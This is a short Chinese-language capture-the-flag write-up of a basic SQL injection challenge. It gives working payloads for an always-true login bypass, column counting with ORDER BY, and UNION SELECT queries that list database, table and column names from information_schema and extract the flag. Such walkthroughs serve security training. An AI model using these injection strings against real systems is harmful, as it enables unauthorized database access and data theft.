解題思路
打開靶場
既然提示是最簡單的sql注入了,那么直接嘗試永真登錄
1' or 1=1#
?這里閉合就是簡單的單引號
可以看到沒登錄成功,但是有回顯:歡迎你,ctfshow
sql注入最喜歡的就是回顯了!這題的思路就是靠這個回顯,必須倚靠一下這個回顯來看我們注入是否成功,那么1' or 1=1是不能變了。
去判斷列數:
1' or 1=1 order by 4#
?
回顯消失
1' or 1=1 order by 3#
?
三列的時候又回來了,所以列數是三?
下面就不需要這個回顯了,接下來找三列的回顯:
1' union select 1,2,3#
?
可以看到2列是可以回顯的,查看下數據庫:
1' union select 1,database(),3#
?
只有Web2數據庫,那么我們看下web2數據庫下面有哪些表
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#
可以看到
?
?那么flag表當然是我們感興趣的,對flag表進行爆列,也就是看下有哪些列:
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag' #
?
只有flag列,那么我們查看flag列的數據
1' union select 1,flag,3 from flag #
?
成功獲取flag?
總結
一道基礎的sql注入題目,唯一的難點可能是在判斷列數上面,正常來說需要依靠永真回顯來判斷,這也是需要學到sql注入回顯的重要性。